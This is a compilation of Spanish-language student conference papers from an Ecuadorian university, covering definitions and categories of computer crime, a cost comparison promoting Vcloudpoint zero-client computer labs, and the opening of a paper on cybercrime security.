Tipos de delitos informáticos los delitos informáticos abarcan una gran variedad de modalidades como se mencionan en la web de la interpol y se enlista a continuación: ataques contra sistemas y datos informáticos usurpación de la identidad Distribución de imágenes de agresiones sexuales contra menores estafas a través de internet intrusión en servicios financieros en línea Difusión de virus Botnets (redes de equipos infectados controlados por usuarios remotos) Pishing (adquisición fraudulenta de información personal confidencial).

Para llevar adelante esta investigación es necesario definir los siguientes constructos teóricos: En primer término, hemos de especificar que es un delito: toda acción típica, antijurídica y culpable². Hablamos de acción haciendo referencia a toda conducta humana exteriorizada evitable³; el carácter de típico se lo da el hecho de estar descripta en una norma⁴; será antijurídica cuando sea contraria al derecho en su totalidad⁵ y se entenderá culpable cuando el sujeto que realice la conducta pudo comprender la criminalidad del acto y dirigir sus acciones al momento del hecho.

Establecido que es delito, pasamos a decir que, a grandes rasgos, el delito informático es aquel que se vale de medios informáticos para vulnerar algún bien jurídico tutelado, pudiendo hacerlo mediante:

Acciones que inciden sobre el software y hardware de un pc. Acciones en que el pc es usado como instrumento para perpetrar un delito. Acciones en que se utiliza hardware o software sin autorización debida.⁷

El Dr. Terragni ha definido al delito informático como “toda acción (acción u omisión) culpable realizada por un ser humano, que cause un perjuicio a personas sin que necesariamente se beneficie el autor o que, por el contrario, produzca un beneficio ilícito a su autor, aunque no perjudique de forma directa o indirecta a la víctima, tipificado por la ley, que se realiza en el entorno informático y esté sancionado con una pena”.

Siguiendo estudios realizados en base al libro de Derecho Informático de Julio Tellez⁹ podemos sostener que los delitos informáticos poseen las siguientes características:

- Son conductas criminógenas de cuello blanco (white collar crimes), en tanto que sólo determinado número de personas con ciertos conocimientos (en este caso técnicos) pueden llegar a cometerlas.
- Son acciones de oportunidad, en cuanto que se aprovecha una ocasión creada o altamente intensificada en el mundo de funciones y organizaciones del sistema tecnológico y económico.
- Ofrecen facilidades de tiempo y espacio, ya que en milésimas de segundo y sin una necesaria presencia física pueden llegar a consumarse.
- Son muchos los casos y pocas las denuncias, y todo ello debido a la misma falta de regulación por parte del Derecho.
- Presentan grandes dificultades para su comprobación, esto por su mismo carácter técnico.
- Ofrecen facilidades para su comisión a los menores de edad.
- Tienden a proliferar cada vez más.

A la hora de hablar de los sujetos, en primer término, tenemos que distinguir que el sujeto pasivo o víctima del delito es el ente sobre el cual recae la conducta de acción u omisión que realiza el sujeto activo, y en el caso de los "delitos informáticos", mediante él podemos conocer los diferentes ilícitos que cometen los delincuentes informáticos, que generalmente son descubiertos casuísticamente debido al desconocimiento del *modus operandi*. Ha sido imposible conocer la verdadera magnitud de los "Delitos Informáticos" ya que la mayor parte de los delitos no son descubiertos o no son denunciados a las autoridades responsables; que sumado al temor de las empresas de denunciar este tipo de ilícitos por el desprestigio y su consecuente pérdida económica que esto pudiera ocasionar, hace que este tipo de conductas se mantenga bajo la llamada "cifra oculta" o "cifra negra".¹⁰

En cuanto al sujeto activo podemos afirmar que las personas que cometen delitos informáticos difieren de los delincuentes comunes, ya que requieren habilidades para el manejo de sistemas informáticos y generalmente por su situación laboral se encuentran en lugares estratégicos donde se maneja información de carácter sensible o son hábiles en el uso de sistemas informatizados. Los posibles delincuentes informáticos son personas listas, decididas, motivadas y dispuestas a aceptar un reto tecnológico, por ello estudiosos en la materia han catalogado a este tipo de delito como "delito de cuello blanco", término introducido por primera vez por el criminólogo norteamericano Edwin Sutherland en el año 1943.¹¹ modo de clasificación podríamos dividir a los delitos informáticos en los siguientes grandes grupos:

- Fraudes cometidos mediante manipulación de computadoras: Estos pueden suceder en el interior de Instituciones Bancarias o cualquier empresa en su nómina, ya que la gente de sistemas puede acceder a variados tipos de registros y programas.
- Reproducción no autorizada de programas informáticos de protección Legal: Es la copia indiscriminada de programas con licencias de uso para copias de una sola persona, se le conoce también como piratería.

La manipulación de programas: Mediante el uso de programas auxiliares que permitan estar manejando los distintos programas que se tiene en los departamentos de cualquier organización.

Manipulación de los datos de salida: Cuando se alteran los datos que salieron como resultado de la ejecución de una operación establecida en un equipo de cómputo.

Fraude efectuado por manipulación informática: Acensado a los programas establecidos en un sistema de información, y manipulándolos para obtener una ganancia monetaria.

Falsificaciones Informáticas: Manipulando información arrojada por una operación de consulta en una base de datos.

Sabotaje informático: Cuando se establece una operación nociva tanto de programas de cómputo, como un suministro de electricidad o cortar líneas telefónicas intencionalmente.

- Virus: Pequeños programas de computadora que tienen la capacidad de auto duplicarse y parasitar otros programas. Una vez difundidos, los virus se activan bajo determinadas circunstancias y en general, provocan algún daño o molestia. El virus informático tiene tres características principales: produce daño, es autor reproductor y es subrepticio u oculto.
- Gusanos: Es un programa similar al virus, pero que a diferencia de este no requiere infectar
- a otro programa, ya que se difunde en forma autónoma de computadora a computadora.
- Bomba lógica o cronológica: Su funcionamiento es muy simple, es una especie de virus que se programa para que explote en un día determinado causando daños a el equipo de cómputo afectado.
- Piratas Informáticos: Hackers y Crackers dispuestos a conseguir todo lo que se les ofrezca en la red, tienen gran conocimiento de las técnicas de cómputo y pueden causar graves daños a las empresas.

- Acceso no autorizado a Sistemas o Servicios: Penetrar indiscriminadamente en todo lugar sin tener acceso a ese sitio.

3. MATERIALES Y MÉTODOS

Los delitos informáticos se pueden definir como toda acción antijurídica y culpable que se realiza por medio de un ordenador o dispositivo electrónico que tiene como objetivo destruir y dañar ordenadores, hacker redes de internet, robo de información, cybercrime.

El inadecuado uso de las tecnologías de la información son las que llevan al cometimiento de este tipo de delitos y para poder combatirlos se creó el derecho informático que tiene como finalidad la creación de leyes que puedan proteger la información confidencial de una organización, empresa e individuos en general.

4. RESULTADOS Y DISCUSIÓN

A partir del análisis de los datos estadísticos obtenidos podemos darnos cuenta que el delito informático que más se realiza es el acceso ilícito a sistemas informáticos con el propósito de encriptar información para así poder pedir recompensas millonarias, con el fin que las empresas puedan recuperar su información o poder utilizar su sistema informático.

Nombre del delito	Porcentaje
Falsificación o fraude informático	46.71%
Delitos contra la confidencialidad, la integridad y la disponibilidad de los datos y sistemas informáticos	43.11%
Acceso ilícito a sistemas informáticos	63.89%
Interferencia en el funcionamiento de un sistema informático.	36.11%
Delitos relacionados con el contenido, como la producción, oferta, difusión,	10.18%

adquisición de contenidos de pornografía infantil, por medio de un sistema informático o posesión de dichos contenidos en un sistema informático o medio de almacenamiento de datos.	
--	--

En donde se pudo determinar mediante los diversos análisis efectuados, que los delitos informáticos han dado un avanzado bastante y ha hecho que esta institución tome medidas de seguridad para una mejor función.

5. CONCLUSIONES

De todo lo analizado se puede llegar a la síntesis de que la pregunta que originara esta investigación arroja como resultado que la única forma de investigar este tipo de ilícitos es a través de la pericial específica por medio de profesionales en la materia; no podemos obviar en este trabajo lo que dijeron la mayoría de los entrevistados que hemos citado en cuanto a la insuficiencia de estos recursos de investigación lo que nos lleva también a inferir que esta dificultad podría ser suplida en gran parte aprovechando los recursos brindados por las instituciones académicas de esta ciudad.

REFERENCIAS BIBLIOGRÁFICAS

- Bartolome. (2001). *DocPlayer.es*. Obtenido de <http://informatica.gonzalonazareno.org>
- Heidegger, Z. (20 de 08 de 2011). *Blackploit*. Obtenido de <https://www.blackploit.com/2011/08/eliminar-rastro-y-huellas-post.html>
- Jose, T. (s.f.). *Dragon.JAR*. Obtenido de <https://www.dragonjar.org/laboratorios-hacking-tecnicas-y-contramedidas-sniffing-i.xhtml>
- Marcos, Q. (8 de 11 de 2018). *Wikipedia*. Obtenido de https://es.wikipedia.org/wiki/Esc%C3%A1ner_de_puertos
- Rouse, M. (5 de 11 de 2012). *TechTarget*. Obtenido de <https://searchdatacenter.techtarget.com/es/definicion/Ataque-de-denegacion-de-servicio>
- Silva Castro, L. A. (2011). *Biblioteca de Información Científica*.

Suarez, A. (21 de 06 de 2011). *Buenas tareas*. Obtenido de <https://www.buenastareas.com/ensayos/Amenazas-L%C3%B3gicas/2453279.html>

Suarez, M. J. (18 de Noviembre de 2013). *Con la Tecnologia Blogger*. Obtenido de <https://mjesussuarez.blogspot.com/2013/11/ataque-mediante-hijacking-robo-de-sesion.html>

BIOGRAFÍAS DE AUTORES

Parrales Cevallos Andrés Javier, Estudiante de pregrado de Octavo Semestre de la carrera de Ingeniería en Sistemas Computacionales. Universidad Estatal del Sur de Manabí. Jipijapa, Manabí y Ecuador.

Ing. Vicente Fray Romero Castro, Magister en Sistemas de Información Gerencial, Ingeniero en Sistemas. Docente de la Universidad Estatal del Sur de Manabí.

EVALUACIÓN PARA UNA NUEVA ERA DE LOS CENTROS DE CÓMPUTO V-CLOUDPOINT

Jorge José Villavicencio Proaño,
Hugo Enrique Molina Zambrano,
Ing. Christian José Álava Mero. Mg.,
Ec. Robards Javier Lima Pisco. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

villajose_1994@hotmail.com

RESUMEN

En la Universidad Estatal del Sur de Manabí (UNESUM) se percató que en los centros de cómputo de la carrera Ingeniería en Sistemas Computacionales algunas computadoras son de última generación y otras por lo que el objetivo de esta investigación es mejorar de manera óptima. Las computadoras más antiguas no trabajan suficiente rápido y esto es un problema para las prácticas que los profesores asignan a los estudiantes. Para cambiar las computadoras el precio de adquisición es muy elevado. Se ha utilizado en este proyecto el método científico y el método bibliográfico, ya que como se sabe el método científico es sistemático, metódico, objetivo, entre otros y nos hemos basado también en trabajos investigativos de otros autores como punto de referencia. El resultado que se plantea es un el producto Cero Client. Que con una computadora se puede multiplicar hasta 30 usuarios, cada uno con su propio monitor. Así se ahorra el cincuenta por ciento en costos de adquisición, reduciría 90% en costos de mantenimiento y ahorra 90% en consumo energía. El profesor puede ver en tiempo real y controlar desde la computadora principal a todos los usuarios y tener mejor interactividad.

PALABRAS CLAVE: adquisición, computadoras, multipuestos.

ABSTRACT

At the Southern State University of Manabí (UNESUM) he realized that in the computing centers of the Computer Systems Engineering degree some computers are state-of-the-art and others so the objective of this research is to optimally improve. Older computers do not work fast enough and this is a problem for the practices that teachers assign to students. To change computers, the purchase price is very high. The scientific method and the bibliographic method have been used in this project, since, as we know, the scientific method is systematic, methodical, objective, among others, and we have also based ourselves on the research work of other authors as a point of reference. The result that arises is a Zero Client product. That

with a computer you can multiply up to 30 users, each with its own monitor. This saves fifty percent in acquisition costs, reduces maintenance costs by 90% and saves 90% in energy consumption. The teacher can see in real time and control from the main computer to all users and have better interactivity.

Key Words: acquisition, computers, multipuestos.

1. INTRODUCCIÓN

La primera generación de computadoras fue en 1946 en la segunda guerra mundial en el cual se desarrolló la primera computadora digital. Este tipo de computadora era extremadamente difícil de operar y sus programas demoran horas e incluso semanas en ejecutarse. En el largo transcurso de los años estas computadoras fueron desarrollando una velocidad de procesamiento cambiando las corridas de programas y poniendo fin a estas esperas (Ardura, 2018). Antes una computadora era el tamaño de un cuarto que tenía que hacer el trabajo simple. Ahora ya se puede hacer diferentes tipos de trabajo al mismo tiempo con una computadora o laptop.

El sistema operativo también ha mejorado mucho en el transcurso de los años. El primer Sistema Operativo de la historia fue creado en 1956 para un ordenador IBM 704, y básicamente lo único que hacía era comenzar la ejecución de un programa cuando el anterior terminaba (Hernández & Franco, 2012).

A finales de la década de los 1950, un grupo de investigadores, entre ellos, el profesor John McCarthy del MIT, comenzaron a desarrollar la idea del "time-sharing", por la que varios usuarios estarían conectados simultáneamente a un mismo ordenador, accediendo durante un corto tiempo desde un dispositivo parecido a un teletipo y que se bautizó como 'terminal'.

Los ordenadores científicos como el IBM 704 no tenían la capacidad de interrumpir un trabajo en curso, guardarlo, dar entrada a otro y recuperar luego el trabajo interrumpido. En 1961 Corbato diseñó un programa para un ordenador IBM 709 que proporcionaba esas facilidades (Avendaño, 2018).

En los años 60 el sistema de tiempo compartido compatible (CTSS) estaba usado para construir una nueva generación de sistema operativo multi-usuario que se llama Multiplexed Information and Computing System (MULTICS) de los laboratorios Bell de la compañía Americana de Teléfonos y Telégrafos (AT&T de su nombre en inglés -American Telephone

& Telegraph-). Por 1970 cambiaron el nombre a UNIX y funcionó el multiprocesador (Peña, Pérez & Blanco 2006).

En la década de los 70 encontraron un escenario en el que varias terminales (incluso gráficas) se conectaban mediante módem, puerto serie RS-232 o directamente a un mainframe era muy común.

El protocolo *X Windows* (también conocido como X11, por ser la 11 su versión actual, o simplemente X) provee las bases para desplegar interfaces gráficas de usuario (GUI, por sus siglas en inglés) y capacidades de entrada de datos mediante dispositivos que permiten a varios usuarios explotar el poder de procesamiento de sistemas de tiempo compartido (Hernández & Franco, 2012).

La primera implementación de una interface *X Windows* con soporte para múltiples consolas en una misma PC fue desarrollada por Miguel Freitas en 2001, utilizando un sistema operativo con núcleo Linux y el sistema gráfico X11 (en aquel momento mantenido por XFree86 (Freitas, 2005). La solución consistía en modificar el servidor X para que permitiera la ejecución de varias instancias concurrentemente, de manera que cada una capturara eventos de un ratón y teclado e imprimiera el contenido gráfico en un monitor específico. Este método fue denominado “multi-asiento” o “multi-terminal”.

Userful Corporation (compañía canadiense) era la primera compañía que vendió en 2002 el multi-asiento, llamado *Userful Multiplier*. *Userful Multiplier* trabaja con Linux y se puede conectar 10 monitores, micrófonos y teclados con una sola computadora. Ellos en general son los proveedores a nivel mundial para las escuelas, pero también para el gobierno, bibliotecas call centra etc.

El negocio de multi-asiento tiene mucha competencia de lado de Windows. Microsoft mismo lanzó *Windows Multipoint Server 2010* (Cox, 2010).

En 2012 *Userful* lanzó el *Multiseat v5*, el primer software a base de Linux, para entregar escritorios en Ethernet true zero client hardware. Via Ethernet o USB se puede conectar hasta 20 o más estaciones zero client con solo una computadora (Spence, 2012).

Otra compañía que tiene servicios de multipuestos que funciona con Windows es *Vcloudpoint*. *Vcloudpoint* innovo un software propietario y patentado vMatrix, que juntos con el hardware Zero client permite que una computadora de escritorio tradicional pueda multiplicarse hasta 30 usuarios (Vcloudpoint, 2018).

Teniendo en cuenta los multipuestos en un centro de cómputo, se entiende que es de mayor importancia aplicado en los ámbitos educativos. Un centro de cómputo está conformado por 30 computadoras, dependiendo la institución educativa que necesite. Por lo general las universidades que quieren adquirir un centro de cómputo para las diferentes facultades su costo de adquisición es muy elevado.

Para que enseñanza/aprendizaje pueda tener una mejor interacción entre profesor y estudiante estas máquinas deben procesar de una manera rápida. Las computadoras pueden funcionar bien durante un periodo de tiempo, después se necesita un personal para el mantenimiento de cada una de las máquinas arreglando el hardware y software.

Quiere decir que para cualquiera de las universidades que adquieren sus centros de cómputo tienen que seguir gastando antes, ahora y después.

Vcloudpoint es la era para los centros de cómputos. Con el pequeño producto vcloudpoint s-100 no es necesario comprar tantas computadoras. Solo se necesita una computadora para 30 usuarios. La tecnología de vcloudpoint transforma todas las estaciones de trabajo en una sola computadora, tan solo con unos sencillos pasos se puede comenzar a trabajar.

2. DESARROLLO

VPCLOUDPOINT

Vcloudpoint es la tecnología más importante ya que ahorra en costes de adquisición y mejoraría la intercepción entre profesores y estudiantes ya que vcloudpoint solo consumen 5 watts en comparación con las computadoras de escritorios tradicionales que consumen 110 watts o más, por lo que con los clientes cero producirá menos calor, proporcionando un ahorro del 90% en consumo de energía

Por defecto de fábrica, los clientes vcloudpoint Zero y el software vMatrix Server Manager están configurados para utilizarse en un entorno conectado a Internet (WAN). Si su servidor le proporciona Internet, no se requiere ninguna configuración adicional. El Modo de Operación mostrado en la página User Management de cualquier dispositivo que se conecte al host cambiará automáticamente de “Offline” en rojo a “Online” en negro, lo que significa que el dispositivo está funcionando correctamente en un entorno proporcionado por Internet.

En todos estos puntos se recogió información de vcloudpoint ya que nos g brindan una forma innovadora de cómputo gracias a su software propietario y patentado vMatrix, entregando la misma experiencia de una PC de escritorio tradicional a un menor costo.

Los clientes cero tradicionales básicamente utilizan tecnología mejorada RDP o un reproductor multimedia integrado para la aceleración de video, lo que resulta en restricciones de soporte de formato de medios limitado, video embebido en el web no admitido, pocos usuarios de video simultáneos por host y aún la calidad de visualización en gran medida sacrificado muy por detrás del archivo original 720 / 1080P que afirmaron soportar.

Es la tecnología más importante ya que ahorra en costes de adquisición y mejoraría la intercepción entre profesores y estudiantes ya que vcloudpoint solo consumen 5 watts en comparación con las computadoras de escritorios tradicionales que consumen 110 watts o más, por lo que con los clientes cero producirá menos calor, proporcionando un ahorro del 90% en consumo de energía

Por defecto de fábrica, los clientes vcloudpoint Zero y el software vMatrix Server Manager están configurados para utilizarse en un entorno conectado a Internet (WAN). Si su servidor le proporciona Internet, no se requiere ninguna configuración adicional. El Modo de Operación mostrado en la página User Management de cualquier dispositivo que se conecte al host cambiará automáticamente de “Offline” en rojo a “Online” en negro, lo que significa que el dispositivo está funcionando correctamente en un entorno proporcionado por Internet.

En todos estos puntos se recogió información de vcloudpoint ya que nos g brindan una forma innovadora de cómputo gracias a su software propietario y patentado vMatrix, entregando la misma experiencia de una PC de escritorio tradicional a un menor costo.

Los clientes cero tradicionales básicamente utilizan tecnología mejorada RDP o un reproductor multimedia integrado para la aceleración de video, lo que resulta en restricciones de soporte de formato de medios limitado, video embebido en el web no admitido, pocos usuarios de video simultáneos por host y aún la calidad de visualización en gran medida sacrificado muy por detrás del archivo original 720 / 1080P que afirmaron soportar.

3. MATERIALES Y MÉTODOS

Un sistema multipuestos es la mejor opción en las salas computacionales ya que permite ahorrar dinero en costos de adquisición y energía. Así empezó la investigación sobre este proyecto investigativo, pero primero se tiene que saber exactamente qué significa, como funciona y si en realidad es mejor que las computadoras tradicionales.

Existen diferentes productos de Cero Client para las instituciones educativas y se ha elegido Vcloudpoint porque tiene el software que funciona con Microsoft Windows. Se espera en el

futuro que las instituciones educativas del país hagan uso de este sistema tan novedoso. Se ha utilizado en este proyecto el método científico y el método bibliográfico, ya que como se sabe el método científico es sistemático, metódico, objetivo, entre otros y nos hemos basado también en trabajos investigativos de otros autores como punto de referencia.

4. RESULTADOS Y DISCUSIÓN

Teniendo en cuenta que para implantar un centro de cómputo en cualquier institución educativa sea pública o privada su costo de adquisición son muy elevados, por ejemplo

Vcloudpoint tiene los siguientes beneficios comparado con computadoras tradicionales.

Ahorro en costos de adquisición: Los clientes cero vcloudpoint le permitirán tener un ahorro mayor al 50% en adquisición de equipos en comparación con las computadoras tradicionales.

Ahorro de mantenimiento: Debido a que los clientes cero no cuentan con partes móviles, la reparación de un cliente cero es rara, por lo que usted reducirá un 90% en costos de mantenimiento.

Ahorro de energía: Los clientes cero vcloudpoint solo consumen 5 watts en comparación con las computadoras de escritorios tradicionales que consumen 110 watts o más, por lo que con los clientes cero producirá menos calor, proporcionando un ahorro del 90% en consumo de energía

Mayor tiempo de vida: Debido a que los clientes cero Vcloudpoint no cuentan con partes móviles, la duración de vida de las terminales es más larga, siendo para empresas una opción viable.

Mayor aprovechamiento de los presupuestos de TI: Le permitirá compartir recursos de una PC, reduciendo los costos en la compra de licencias de software o de hardware.

Facilidad de Implementación: Con los Clientes Cero Vcloudpoint la implementación de cientos de estaciones de trabajo puede tomar algunas horas en comparación con las computadoras tradicionales que tardan días o semanas. Al instalar el software vMatrix usted podrá compartir los recursos de su PC servidor a todas sus estaciones de trabajo, donde podrá agregar varios usuarios; con solo conectar su mouse, teclado, monitor y el cable Ethernet, los usuarios estarán listos para trabajar. Usted puede configurar una nueva estación de trabajo en segundos.

Gestión centralizada: No hay nada que TI pueda configurar, administrar o actualizar en el punto final. Todas las instalaciones, parches y actualizaciones se realizan en la computadora servidor.

Soporte técnico remoto: El personal de TI y soporte puede brindar soporte o solucionar problemas directamente desde sus escritorios a través del monitoreo y control que se realiza sobre los escritorios de los usuarios.

Reducción del tiempo de inactividad no planificado: Sin partes móviles propensas a fallas y problemas, el tiempo de inactividad no planeado se reduce en gran medida.

Reinicio rápido en cualquier estación de trabajo: No se pierde tiempo en mover una computadora portátil pesada o reiniciar el sistema. Con un simple cierre de sesión y luego iniciar sesión, el usuario vuelve a su escritorio con todas las aplicaciones y archivos abiertos.

Permitir el intercambio de archivos: Con algunos discos configurados visibles para todos, los usuarios pueden compartir y almacenar archivos fácilmente en estos discos públicos sin la necesidad de copiar o transferir entre escritorios.

Eliminación de la infección de virus: Sin usar un sistema operativo, ni una unidad de almacenamiento capaz de ejecutar algún software, los clientes cero Vcloudpoint son inmunes a los virus y los malware.

Políticas de seguridad y monitoreo: vMatrix permite al personal de TI aplicar políticas de seguridad, monitorear y deshabilitar remotamente cualquier usuario final para iniciar sesión o simplemente bloquear periféricos USB conectados localmente, evitando con ello que los usuarios copien datos confidenciales en su USB.

No hay riesgo de pérdida de datos: Como los clientes cero de Vcloudpoint no pueden almacenar datos localmente, los usuarios no tienen que preocuparse por la pérdida de datos derivada de fallas de hardware.

Liberación de espacio: Los clientes cero de Vcloudpoint son de un tamaño no mayor a 5 pulgadas pudiéndose montar en la parte posterior del monitor para ahorrar espacio valioso en la mesa de trabajo.

Sin ruido: Sin partes móviles integradas, los clientes cero de Vcloudpoint no hacen ruido cuando se está ejecutando.

Menos calor y desechos electrónicos: Consume mucha menos energía, lo que significa que los clientes cero Vcloudpoint producen mucho menos calor y desperdicio electrónico en comparación con las PC tradicionales. (Vcloudpoint, 2018)

La adquisición de productos para un centro de cómputo tradicional se representaría en la tabla siguiente, detallándose cada uno de los componentes o materiales que se necesite en el centro de cómputo.

Tabla de adquisición de computadoras tradicionales

TABLA1

<u>PRODUCTO</u>	<u>CANTIDAD</u>	<u>DESCRIPCIÓN</u>	<u>PRECIO POR UNIDAD</u>	<u>TOTAL</u>
Pc	30	Todo en uno Dell optiplex 7450 Core i7 7700 / 3.6 GHz/	\$1.430	\$42.900
Mesas	30	Mesas para cada Pc	\$25	\$740
Sillas	60	Sillas para cada uno de los estudiantes por maquina dos estudiantes	\$7	\$420
Reguladores de voltaje	15	Regulador de voltaje uno por dos PC	\$15	\$225.
Aire acondicionado	1	Para que no se sobre caliente los pc	\$1200	\$1.200
Totales				\$45.485

Fuente: Datos del Autor

Elaborado por: Jorge José Villavicencio Proaño

Teniendo en cuenta el gasto de adquisición que es de 45.485, y recordando que para el centro de cómputo tradicional se necesita cielo falso, piso falso, para que los equipos tengan mayor vida útil y no se caliente, sabiendo que las PC funcionan los 365 días del año.

Gastos Adicionales:

- Altas cantidades de planillas de electricidad

- Mantenimiento software/hardware
- Actualizaciones en cada pc
- Reparación correctiva

Tabla de adquisición de multipuestos con Cero Client

TABLA2

<u>PRODUCTO</u>	<u>CANTIDAD</u>	<u>DESCRIPCION</u>	<u>PRECIO POR UNIDAD</u>	<u>TOTAL</u>
PC	1	CPU Solutions CEV-5817 - Core i7 3.7-4.7GHz Hexa Core	\$1860	\$1860
Servidor	1	WD 4TB My cloud home duo	\$280	\$280
Cero client c-100	30	Vcloudpoint cero client	\$243	\$7290
Monitor	30	Monitor LG HDMI /led 20	\$95	\$2850
Ratón	30	Ratón Hp alámbrico	\$4	\$120
Teclado	30	Teclado Genius alámbrico	\$10	\$300
Mesas	30	Mesas para cada Pc	\$25	\$740
Sillas	60	Sillas para cada uno de los estudiantes por maquina dos estudiantes	\$7	\$420
Reguladores de voltaje	15	Regulador de voltaje uno por dos PC	\$15	\$225.
Aire acondicionado	1	Para refrescar a los estudiantes	\$375	\$375
Totales				14.460

Fuente: Datos del Autor

Elaborado por: Jorge José Villavicencio Proaño

El precio total de las compras de computadoras tradicional con todas sus necesidades sale a \$ 45.485

En cambio, el precio de un multipuesto con Vcloudpoint Cero Client c-100 sale a \$ 14.460 con todas sus necesidades. Este es una diferencia de 70% en costos de adquisición.

Aparte del ahorro en equipos, se ahorra también 90% en el consume de energía. Con los Cero Clientes ya no se necesita un Aire acondicionado tan fuerte, porque los productos no calienten tanto como una computadora tradicional. En un centro de cómputo tradicional se necesita el aire acondicionado para refrescar a las maquinas, en un centro de multipuestos solo se necesita para las personas si desean.

5. CONCLUSIONES

Vcloudpoint, dará solución a gastos de adquisición de un centro de cómputo tradicional dará un avance tecnológico a un centro de cómputo, de esta manera se podrá trabajar con una computadora diferentes usuarios con su propio monitor. Con Cero Client de Vcloudpoint solo necesitaremos una computadora home para 30 usuarios. Esto tendrá ahorros de mantenimiento y consumo de energía y también será fácil la interacción de profesor y los estudiantes.

REFERENCIAS BIBLIOGRÁFICAS

Arduro, P.C. (2018). 1946- ENIAC. Primera Generación de ordenadores. Obtenido de

<https://lapasiondepensar.wordpress.com/2018/07/05/eniac-primera-generacion-ordenadores/?fbclid=IwAR2NK4-HoFM8OB-VraBNXdxY4g6EVRXzD00ltdDTPJRiBz4izTxM7eskWc>

Avendaño, M. (2018). <http://forohistorico.coit.es/>. Obtenido de <http://forohistorico.coit.es/index.php/personajes/personajes-internacionales/item/corbato-fernando-jose>

Cox, M. (2010). Useful upgrades multi-seat Linux desktop virtualization solution.

Obtenidode <https://web.archive.org/web/20120229005514/http://www.echannelline.com/usa/story.cfm?item=25455>

Hernández Bahr, D. & Soler Franco, Y. (2012). Estaciones de trabajo multi-asiento. Revista Cubana de Ciencias Informáticas, vol. 6, núm. 1, 2012, pp. 1-7 Universidad de las Ciencias Informáticas Ciudad de la Habana, Cuba

Peña Catalá, J.L., Pérez Torres, W. & Blanco García, Y. (2006). El Sistema Operativo LINUX y el cambio necesario. Panorama Cuba y Salud, vol. 1, núm. 2, septiembre-diciembre, 2006, pp. 44-50 Escuela Latinoamericana de Medicina Ciudad Habana, Cuba

Spence, C. (2012). Useful Revolutionizes Thin-Client Computing, with Solution that is Twice as Fast and Half the Price. New True Zero Client solution supports all the leading chipsets and devices. Obtenido de <https://www.prnewswire.com/news-releases/userful-revolutionizes-thin-client-computing-with-solution-that-is-twice-as-fast-and-half-the-price-152496145.html>

Vcloudpoint 2018 obtenido de <https://www.vcloudpoint.com.mx/>
<https://www.vcloudpoint.com.mx/beneficios.php>

BIOGRAFÍAS DE AUTORES

Jorge José Villavicencio Proaño. Estudiante de la Universidad Estatal del Sur de Manabí.

Hugo Enrique Molina Zambrano. Estudiante de la Universidad Estatal del Sur de Manabí.

Christian José Álava Mero. Docente de la Universidad Estatal del Sur de Manabí.

Robards Javier Lima Pisco. Docente de la Universidad Estatal del Sur de Manabí.

SEGURIDAD EN LA EVOLUCIÓN DE LOS CIBERDELITOS.

Bryan Steven Armendariz Castillo,

Kevin Randy Moreira,

Ing. Edwin Joao Merchán Carreño. Mg.

Ing. Karina Virginia Mero Suárez. Mg.

Ing. Carlos Renán Mero Suárez. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

moreira-kevin1836@unesum.edu.ec

RESUMEN

La presente investigación hace énfasis a la seguridad de los ciberdelitos, considerando el desarrollo de la tecnología y las redes sociales, el aumento masivo de robos informáticos que cada día sea más complejo proteger la integridad de datos, por ello se ha visto la necesidad de aumentar la seguridad en la información personal y global, siendo la autenticación de información una de las nuevas formas de evitar la sustracción de datos sensibles o personales. Esta investigación tiene como objetivo principal proteger la integridad de los datos y a su vez acabar con las vulnerabilidades que navegan por la red, además es importante recalcar, que es ineludible estar siempre informados sobre las nuevas tecnologías que surgen día a día, para así poder estar capacitado para combatir algún tipo de fraude o robo informático, en cuanto al desarrollo de la investigación se emplearon los métodos de la investigación científica tales como: análisis- síntesis, histórico-lógico, inducción-deducción, y bibliográfico. Por otra parte, el cumplimiento de las normas de seguridad ha sido muy estricta, puesto que, tiene como finalidad evitar un impacto negativo a nivel mundial sobre el caos que puede ocasionar la pérdida de datos.

PALABRAS CLAVE: ciberdelitos; seguridad; vulnerabilidad.

ABSTRACT

The present research emphasizes the security of cybercrimes, considering the development of technology and social networks, the massive increase in computer theft that every day is more complex to protect the integrity of data, for this reason it has been necessary to increase security in personal and global information, with information authentication being one of the new ways to avoid the subtraction of sensitive or personal data. This research has as main objective to protect the integrity of the data and at the same time to eliminate the vulnerabilities that surf

the web, it is important to emphasize that it is essential to be always informed about the new technologies that arise every day, in order to be trained to combat some type of fraud or computer theft, in terms of the development of the research used the methods of scientific research such as: analysis-synthesis, historical-logical, induction-deduction, and bibliographic. On the other hand, compliance with security regulations has been very strict, since it aims to avoid a negative impact worldwide on the chaos that may result from the loss of data.

KEYWORDS: cybercrimes; security; vulnerability.

1. INTRODUCCIÓN

La delincuencia tiene existencia desde mucho antes de la creación del internet, es por eso que con la llegada de las redes informáticas se desarrollaron los robos de datos e información que acaba con la integridad de todos nosotros. La mayoría de estos delitos son a una distancia prudencial de sus casas para que el gasto y el esfuerzo no sean exagerados.

En la actualidad las redes sociales han dado paso al ciberdelito en los sistemas de información, donde existe una masiva cantidad de datos personales y globales, que de cierta forma amerita que los datos estén inseguros en la red constantemente.

Esta investigación se centra en la historia, evolución del ciberdelito y cómo podremos contrarrestarlo, que hoy por hoy, es uno de los más severos problemas que existen a nivel mundial en la seguridad en redes informáticas.

Los ciberdelitos con el pasar del tiempo llegarán acabando con todo lo que se le encuentre en la web, con lo que produciría un caos a nivel mundial con la ayuda de la tecnología que hoy en día se ha apoderado de todo nuestro entorno.

De acuerdo a Saín, “La creación de nuevas tecnologías que intermedian en la comunicación entre las personas trae aparejado nuevas posibilidades para su aprovechamiento indebido e ilícito. Eso sucedió desde la creación del telégrafo y también posterior incorporación del teléfono a la vida cotidiana de las personas. Con la irrupción de la computadora personal y la posterior expansión de Internet y la World Wide Web; la capacidad de procesamiento de datos e información y el acceso a miles de personas en un medio interactivo de características globales amplió las posibilidades de comisión de hechos ilícitos e ilegales a partir del fácil manejo del surgimiento de entornos digitales “amigables” y aplicaciones prácticas y sencillas en cuanto a su manejo, tanto así como las posibilidades de anonimato en las comunicaciones”. (Sain, 2015)

Según Rinaldi, destaca que, “La utilización de la tecnología de la información con fines delictivos y la necesaria reacción jurídica son cuestiones que se debaten desde los albores de esta tecnología. En los últimos 50 años se han adoptado diversas soluciones en los planos nacional y regional. Una de las razones por las que el tema sigue siendo desafiante es la constante evolución técnica, así como la variedad y diversidad de los métodos que se emplean para cometer los delitos”. (Rinaldi, 2017)

